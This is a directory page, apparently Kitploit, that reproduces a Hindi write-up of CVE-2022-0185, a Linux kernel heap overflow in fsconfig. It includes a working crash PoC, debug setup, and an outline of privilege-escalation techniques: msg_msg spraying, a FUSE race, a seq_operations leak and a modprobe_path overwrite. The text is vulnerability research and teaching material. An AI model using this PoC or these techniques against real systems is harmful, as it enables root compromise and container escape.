Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-0185 — CVE-2022-0185 POC और Docker विश्लेषण write up | Kitploit
उपकरण/GitHubGitHub/chenaotian/cve-2022-0185
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाकंटेनर एस्केपबाइनरी शोषणलैब और अभ्यास
GitHubchenaotian/cve-2022-0185

CVE-2022-0185

CVE-2022-0185 POC और Docker विश्लेषण write up

रिपॉजिटरी देखें
371274 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-0185 लिनक्स कर्नेल विशेषाधिकार वृद्धि (एस्केप)

[toc]

भेद्यता परिचय

भेद्यता आईडी: CVE-2022-0185

भेद्यता स्कोर:

भेद्यता उत्पाद: linux kernel - fsconfig syscall

प्रभावित संस्करण: linux kernel 5.1-rc1 ~ 5.16.2

शोषण की शर्तें: linux स्थानीय; CAP_SYS_ADMIN cap अनुमति (unshare द्वारा सीधे प्राप्त किया जा सकता है, सीमा रहित के समान)

शोषण प्रभाव: स्थानीय विशेषाधिकार वृद्धि; कंटेनर बचाव

स्रोत कोड प्राप्त करें: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

या https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/

पर्यावरण सेटअप

डिबग पर्यावरण

5.X कर्नेल संकलन पर्यावरण Docker: chenaotian/kernelcompile

भेद्यता विश्लेषण Docker: chenaotian/cve-2022-0185

  • दो कर्नेल तैयार किए, एक डिस्ट्रो और एक स्वयं संकलित संस्करण
    • एक डाउनलोड किया गया डिस्ट्रो कर्नेल 5.11.0-44 जिसका उपयोग exp को डिबग और विश्लेषण करने के लिए किया जाता है (डिस्ट्रो कर्नेल क्रैश नहीं होगा)
    • एक संकलित सिग्नेड 5.13 जिसका उपयोग सिग्नेड डिबग पीओसी के लिए किया जाता है
  • qemu, gdb, gdb-peda आदि स्थापित करें
  • भेद्यता से संबंधित फ़ाइलें /root/cve-2022-0185 में हैं
    • boot_exp.sh exp को प्रारंभ करने और डिबग पर्यावरण को सत्यापित करने के लिए उपयोग किया जाता है, डिस्ट्रो 5.11.0-44 बिना सिग्नेचर कर्नेल
    • boot_poc.sh poc को प्रारंभ करने और पर्यावरण को सत्यापित करने के लिए उपयोग किया जाता है, कर्नेल को क्रैश कर सकता है लेकिन exp चला नहीं सकता, स्वयं संकलित 5.13 सिग्नेड कर्नेल
    • exp निर्देशिका, exp स्रोत कोड (लेखक: BitsByWill), सीधे exploit_fuse संकलित करें।

qemu पर्यावरण: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp

ubuntu20.04 सत्यापन पर्यावरण

ubuntu 20.04 वर्चुअल मशीन exp चलाने का वातावरण, मूल लेखक का exp चलाएं

ubuntu20.04 वर्चुअल मशीन तैयार करें, फिर कर्नेल बदलें:```shell apt-get install linux-image-5.11.0-44-generic

grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以

#编译exp make fuse ./exploit

root@kitploit:~
विशेषाधिकार वृद्धि प्रभाव

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## भेद्यता सिद्धांत

भेद्यता उत्पन्न होने वाला सिस्टम कॉल `fsconfig` में `FSCONFIG_SET_STRING` ऑपरेशन विकल्प है। यह सिस्टम कॉल पहले से खोले गए फ़ाइल सिस्टम कॉन्टेक्स्ट के लिए कुछ कॉन्फ़िगरेशन करने के लिए उपयोग किया जाता है, **आवश्यक शर्त यह है कि `CAP_SYS_ADMIN` कैप क्षमता होनी चाहिए**:

> `fsopen` का मुख्य उद्देश्य एक फ़ाइल सिस्टम कॉन्टेक्स्ट बनाना है, और फिर इसे एक फ़ाइल डिस्क्रिप्टर से जोड़ना है, और फ़ाइल डिस्क्रिप्टर लौटाना है। `fsopen` के बाद `fsconfig` आता है, शाब्दिक अर्थ से अनुमान लगाया जा सकता है कि हमने ऊपर `fsopen` के माध्यम से एक फ़ाइल सिस्टम कॉन्टेक्स्ट बनाया है, और नीचे `fsconfig` संभवतः फ़ाइल सिस्टम कॉन्टेक्स्ट की सामग्री को कॉन्फ़िगर करने के लिए उपयोग किया जाता है। वास्तव में `fsconfig` मुख्य रूप से यह कॉन्फ़िगरेशन कार्य करता है, फ़ाइल सिस्टम कॉन्टेक्स्ट के अलावा, यह अन्य कार्यों का भी समर्थन करता है।

### भेद्यता उत्पन्न होने का स्थान

सबसे पहले, भेद्यता `legacy_parse_param` फ़ंक्शन में दिखाई देती है:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

मुख्य बात बाद के memcpy पर निर्भर करती है, जो हमारे द्वारा भेजे गए param->string को ctx->legacy_data में कॉपी करता है। कॉपी की सीमा से बाहर जाने की जाँच पिछली (len > PAGE_SIZE - 2 - size) शर्त में होती है। यहाँ पर यह जाँच समस्याग्रस्त है, क्योंकि जाँच का प्रकार size_t है, जो unsigned int है। यदि size > PAGE_SIZE - 2 होता है, तो पूर्णांक ओवरफ्लो उलट जाता है, जिससे len < PAGE_SIZE - 2 - size हो जाता है, और फिर जाँच पास हो जाती है। बाद में कॉपी करते समय size, PAGE_SIZE - 2 से बड़ा होता है, जिससे कॉपी सीमा से बाहर हो जाती है।

उपयोग में आने वाली कुछ डेटा संरचनाएँ:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };

struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };

struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };

root@kitploit:~
### कॉल पथ

नीचे हम फ़ंक्शन कॉल स्टैक का विश्लेषण करते हैं। प्रवेश बिंदु निश्चित रूप से `fsconfig` सिस्टम कॉल है:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

fsconfig सिस्टम कॉल के प्रवेश बिंदु में, पहले फ़ाइल डिस्क्रिप्टर fd के आधार पर फ़ाइल सिस्टम कॉन्टेक्स्ट स्ट्रक्चर fc को आरंभ किया जाता है, फिर उपयोगकर्ता द्वारा पास किए गए पैरामीटर के अनुसार param स्ट्रक्चर सेट किया जाता है। यह param स्ट्रक्चर वेरिएबल वही है जो बाद में भेद्यता उत्पन्न करने वाले फंक्शन legacy_parse_param में उपयोग किया जाता है। इसके बाद vfs_fsconfig_locked फंक्शन में प्रवेश किया जाता है:

linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;

root@kitploit:~
ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

}

root@kitploit:~
पहले `finish_clean_context` फ़ंक्शन को कॉल किया जाता है, यहाँ `legacy_init_fs_context` फ़ंक्शन को कॉल करके कॉलबैक फ़ंक्शन तालिका पंजीकृत की जाती है, जिसमें भेद्यता वाला फ़ंक्शन `legacy_parse_param` शामिल है।

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

पंजीकरण समाप्त होने के बाद,vfs_parse_fs_param फ़ंक्शन पैरामीटर को संसाधित करने के लिए प्रवेश करता है। यहाँ, नव पंजीकृत कॉलबैक फ़ंक्शन को कॉल किया जाता है, जो कि कमज़ोर फ़ंक्शन भी है।

linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···

root@kitploit:~
if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

} EXPORT_SYMBOL(vfs_parse_fs_param);

root@kitploit:~
समग्र अवलोकन इस प्रकार है

- SYSCALL_DEFINE5(fsconfig,... : सिस्टम कॉल प्रवेश बिंदु
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : कॉलबैक फ़ंक्शन तालिका पंजीकृत करें
    - vfs_parse_fs_param
      - legacy_parse_param : भेद्यता

## भेद्यता प्रतिकृति POC

भेद्यता प्रतिकृति poc:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

静态 संकलन के बाद फ़ाइल सिस्टम में पैक करके qemu से कर्नेल को बूट करें।```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh

root@kitploit:~
दूसरे टर्मिनल पर gdb का उपयोग करके रिमोट डीबगिंग करें:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

पहली बार कॉल करने पर:

legacy_data अभी तक इनिशियलाइज़ नहीं हुआ है:

image-20220218115424519

बाद में kmalloc कॉल के माध्यम से इनिशियलाइज़ किया जाएगा, फिर इनपुट स्ट्रिंग को legacy_data में कॉपी किया जाएगा। फंक्शन लौटने तक पहली स्ट्रिंग पहले ही कॉपी हो चुकी होगी, उसके आगे ',=' जोड़ा जाएगा, जिसकी लंबाई 0x69 होगी।

image-20220218115629610

चूँकि हम स्ट्रिंग कॉपी करने के लिए fsconfig को कई बार कॉल कर रहे हैं। हर बार हम 0x67 'A' पास करते हैं, और legacy_parse_param फंक्शन उनके आगे ',=' जोड़ता है, इसलिए हर कॉपी की लंबाई 0x69 होती है। 39 बार कॉपी करने के बाद legacy_data की लंबाई 0xfff तक पहुँच जाएगी। 39 बार कॉपी करने के बाद, ब्रेकपॉइंट लगाकर देखें:

image-20220218120003864

पता चला कि वर्तमान में legacy_data का data_size 0xfff तक पहुँच गया है।

image-20220218143242019

kmalloc द्वारा आवंटित 0x1000 आकार का मेमोरी स्पेस भी लगभग अपनी सीमा पर पहुँच गया है। भेद्यता (vulnerability) की जाँच करें:

image-20220218143643847

0x68 जो उल्टे 0xffff.... से छोटा है, सत्यापन (validation) पास हो जाता है, कॉपी करने के बाद सीधे सीमा से बाहर चला जाता है और पीछे की मेमोरी सामग्री को ओवरराइट कर देता है:

image-20220218143840967

फिर चलते रहने पर कर्नेल क्रैश हो जाता है:

image-20220218144210566

[मूल] भेद्यता का दोहन EXP

EXP लेखक के wp के अनुसार: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers। उन्होंने कुल दो तरीकों को लागू किया है: ubuntu 20.04 कर्नेल संस्करण 5.11.0-44 पर प्रिविलेज एस्केलेशन का उपयोग, और Google KCTF में बाउंटी प्राप्त करने का उपयोग। यहाँ मुख्य रूप से ubuntu 20.04 कर्नेल संस्करण 5.11.0-44 पर उपयोग का विश्लेषण किया गया है।

पूर्व ज्ञान

msg_msg मनमाना पता पढ़ना/लिखना

EXP लेखक ने इस उपयोग विधि को दो CTF प्रश्नों के रूप में प्रस्तुत किया था: corCTF 2021 में fire_of_salvation और wall_of_perdition। ओवरफ्लो या UAF ऑपरेशन के माध्यम से संदेश शीर्ष संरचना msg_msg को ओवरराइट करके मनमाना पता पढ़ना/लिखना पूरा किया जाता है। यहाँ इस उपयोग विधि का विस्तृत विश्लेषण नहीं किया गया है, केवल प्रश्न में उपयोग किए गए भाग का विश्लेषण किया गया है।

msgsnd और msgrcv कर्नेल द्वारा प्रदान किए गए फंक्शन हैं जिनका उपयोग प्रक्रियाओं के बीच संचार के लिए संदेश भेजने और प्राप्त करने के लिए किया जाता है। मोटे तौर पर तर्क यह है कि संदेश कर्नेल को भेजा जाता है, कर्नेल संबंधित संदेश कतार (message queue) को बनाए रखता है, और संदेश प्राप्त करते समय उसे कतार से निकाल लिया जाता है।

msgsnd स्रोत कोड परिभाषा, मुख्य कार्यक्षमता do_msgsnd द्वारा पूरी की जाती है:

linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;

root@kitploit:~
··· ···
//后面代码将msg 添加到消息队列。    
··· ···

}

long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }

root@kitploit:~
`do_msgsnd` द्वारा अनुमत संदेश की अधिकतम लंबाई 8192 है:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

फिर `load_msg` फ़ंक्शन का विश्लेषण करना आवश्यक है, क्योंकि `load_msg` फ़ंक्शन में `alloc_msg` फ़ंक्शन का उपयोग मेमोरी स्पेस आवंटित करने और संदेश संरचना को व्यवस्थित करने के लिए किया जाता है। यहाँ पहले `alloc_msg` फ़ंक्शन का विश्लेषण करते हैं:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

यहाँ संदेश की लंबाई के अनुसार संदेश को खंडों में बाँटा जाता है, यदि संदेश की लंबाई + संदेश हेडर की लंबाई एक पृष्ठ (4k) से अधिक है, तो इसे खंडों में संग्रहीत किया जाएगा। पहला खंड संदेश हेडर + संदेश खंड 1 होता है, जिसमें हेडर में दूसरे खंड की ओर इंगित करने वाला एक पॉइंटर होता है; दूसरा खंड संदेश खंड हेडर + संदेश खंड 2 होता है.... ऊपर बताए अनुसार संदेश की अधिकतम लंबाई 8192 है, तो संदेश अधिकतम 3 खंडों में विभाजित होता है। और प्रत्येक खंड की अधिकतम लंबाई एक पृष्ठ (4k) होती है, न्यूनतम में संदेश हेडर की लंबाई 0x30 शामिल होनी चाहिए, इसलिए हम नियंत्रित कर सकने वाले हीप आवंटन आकार की सीमा kmalloc-64 से kmalloc-4k तक होती है। इनमें से, संदेश हेडर संरचना और संदेश खंड हेडर संरचना निम्नलिखित हैं:```c struct msg_msg {//消息头结构体 struct list_head m_list; //两个指针 long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void security; / the actual message follows immediately */ }; struct msg_msgseg { struct msg_msgseg next; / the next part of the message follows immediately */ };

root@kitploit:~
अतः संदेशों की संरचना इस प्रकार है:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

संदेश संदेश कतार में मौजूद होते हैं, जिन्हें द्वि-लिंक्ड सूची द्वारा प्रबंधित किया जाता है। संदेश स्वयं खंडों में संग्रहीत होते हैं, जो एकल-लिंक्ड सूची से जुड़े होते हैं। प्रत्येक खंड अधिकतम एक पृष्ठ (4k) लंबा होता है। अब `do_msgsnd` फ़ंक्शन का विश्लेषण करते हैं:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝,这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

बाकी का भाग सीधे संदेश के विभाजन के अनुसार उपयोगकर्ता स्थान से क्रमिक रूप से कॉपी किया जा सकता है।

अब संदेश प्राप्त करने वाले फ़ंक्शन msgrcv को देखते हैं, इसी तरह मुख्य तर्क do_msgrcv फ़ंक्शन में है, यहाँ एक छोटी सी डिटेल बताई गई है, विस्तार से विश्लेषण नहीं किया गया:

linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t)) { ··· ··· if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息 return PTR_ERR(copy); } ··· ··· for (;;) { ··· ··· msg = find_msg(msq, &msgtyp, mode); if (!IS_ERR(msg)) { ··· ··· if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中 goto out_unlock0; } ··· ··· }
··· ··· } ··· ··· bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户 free_msg(msg); //释放消息备份

root@kitploit:~
return bufsz;

}

root@kitploit:~
जब `msgflg` में `MSG_EXCEPT` फ़्लैग मौजूद होता है (डिफ़ॉल्ट कॉन्फ़िगरेशन, कंपाइल विकल्प `CONFIG_CHECKPOINT_RESTORE`), तो बैकअप संदेश भेजने का उपयोग किया जाता है। विशिष्ट तर्क यह है कि पहले एक संदेश संरचना को संदेश बैकअप के रूप में आवंटित किया जाता है, संदेश मिलने के बाद पहले उसे संदेश बैकअप में कॉपी किया जाता है, फिर उपयोगकर्ता स्थान पर भेजा जाता है, और उसके बाद संदेश बैकअप को मुक्त किया जाता है। **इस प्रकार मूल संदेश कतार से unlink नहीं होता**, हमें वही चाहिए "मूल संदेश को कतार से `unlink` न करने की क्रिया"। क्योंकि कभी-कभी हमारे ओवरफ़्लो से संदेश हेडर के द्विदिश लिंक्ड लिस्ट पॉइंटर ओवरराइट हो जाते हैं, जिससे `unlink` करने पर क्रैश होता है, जो वांछनीय परिणाम नहीं है।

ज्ञान के बिंदु लगभग इतने ही हैं, इसमें शामिल उपयोग तकनीकें हैं:

- `msgsnd` फ़ंक्शन का उपयोग करके `kmalloc-64` से `kmalloc-4k` की सीमा में स्प्रे ऑपरेशन किया जा सकता है (पारंपरिक कला)
- यदि `msg_msg` हेडर के `m_ts` सदस्य को ओवरराइट किया जा सकता है, तो संदेश की लंबाई बदल जाएगी, जिससे सीमा से बाहर पढ़ाई होगी (नई कला)
- यदि **load_msg प्रक्रिया के दौरान** `msg_msg` हेडर के `struct msg_msgseg *next` सदस्य को ओवरराइट किया जा सकता है, तो मनमाना पता पढ़ा/लिखा जा सकता है, इसके लिए सामान्यतः `userfaulted` रेस कंडीशन का उपयोग किया जाता है, लेकिन नवीनतम कर्नेल में उपयोगकर्ता स्तर पर `userfaulted` को कॉल नहीं किया जा सकता है। यहाँ नई विधि अपनाई जाती है।

#### userfaulted का विकल्प

ऊपर विश्लेषित `load_msg` फ़ंक्शन के अनुसार, `alloc_msg` द्वारा संदेश की मेमोरी आवंटित करने के बाद उपयोगकर्ता स्थान से संदेश कॉपी किया जाता है। यदि संदेश एक लंबा खंडित संदेश है, तो इसे खंडों में कॉपी करना होगा। यदि पहले खंड की कॉपी के दौरान पेज फॉल्ट होता है, जिससे कॉपी ऑपरेशन अपवाद प्रबंधन समाप्त होने तक प्रतीक्षा करता है, तो इस समय ओवरफ़्लो का उपयोग करके `msg_msg` में `msg_msgseg *next` पॉइंटर को ओवरराइट कर दिया जाता है; अपवाद प्रबंधन समाप्त होने के बाद दूसरा खंड कॉपी करने पर वह हमारे द्वारा निर्दिष्ट पते पर मनमाना सामग्री ओवरराइट कर देगा (मनमाना पता लिखना)।

सामान्यतः इसके लिए उपयोगकर्ता स्तर पर `page fault` हैंडलर पंजीकृत करने की आवश्यकता होती है, लेकिन नए संस्करण में गैर-विशेषाधिकृत स्थिति में `userfaulted` सिस्टम कॉल को कॉल नहीं किया जा सकता। यहाँ एक नई विधि प्रस्तुत की गई है, वह है `fuse` उपयोगकर्ता स्तर फ़ाइल सिस्टम। `fuse` का उपयोग करके एक उपयोगकर्ता स्तर फ़ाइल सिस्टम पंजीकृत किया जा सकता है, जिसमें स्वयं के `read`, `write` आदि फ़ंक्शन होंगे, इसलिए जब पेज फॉल्ट होता है, तब भी इंटरप्ट को संभालने के लिए उपयोगकर्ता स्थान पर वापस आ जाएगा।

उल्लेखनीय है कि fuse में स्वयं स्थैतिक रूप से संकलित लाइब्रेरी नहीं है। BitsByWill और D3v17 ने इसे कुछ हद तक काट-छाँट किया, dlopen आदि को हटाकर, केवल एक स्थैतिक रूप से संकलित libfuse3.a बनाया। कहो, धन्यवाद BitsByWill और D3v17।

[संदर्भ](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### पता लीक करना

यहाँ भी kernel pwn की सामान्य क्रिया है, `seq_operations` संरचना का उपयोग करके पता लीक किया जाता है, जिसमें सभी फ़ंक्शन पॉइंटर्स हैं:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

विशेष रूप से /proc/self/stat खोलते समय, यह single_open फंक्शन को कॉल करता है और seq_operations संरचना को आरंभ करता है।```c int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) { struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT); int res = -ENOMEM;

root@kitploit:~
if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

··· ··· }

root@kitploit:~
सभी फ़ंक्शन पॉइंटर्स को `single_open` संरचना में कर्नेल फ़ंक्शन के रूप में प्रारंभ करें, और यदि उनमें से किसी एक को लीक किया जा सकता है, तो कर्नेल आधार पता लीक किया जा सकता है।

#### विशेषाधिकार उन्नयन

kernel pwn पारंपरिक कला `modprobe_path`, कर्नेल में एक स्ट्रिंग जो एक पथ की ओर इशारा करती है, डिफ़ॉल्ट /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

जब एक अज्ञात प्रारूप वाली फ़ाइल चलाई जाती है, तो यह modprobe_path द्वारा इंगित फ़ाइल पर जाकर उसे रन करता है। यह कर्नेल द्वारा रन किया जाता है, इसलिए यह रूट विशेषाधिकारों के साथ होता है। सामान्यतः यदि इस स्ट्रिंग को संशोधित किया जा सकता है, तो इसे विशेषाधिकार वृद्धि (privilege escalation) सफल माना जाता है।

exp विश्लेषण(मूल संस्करण)

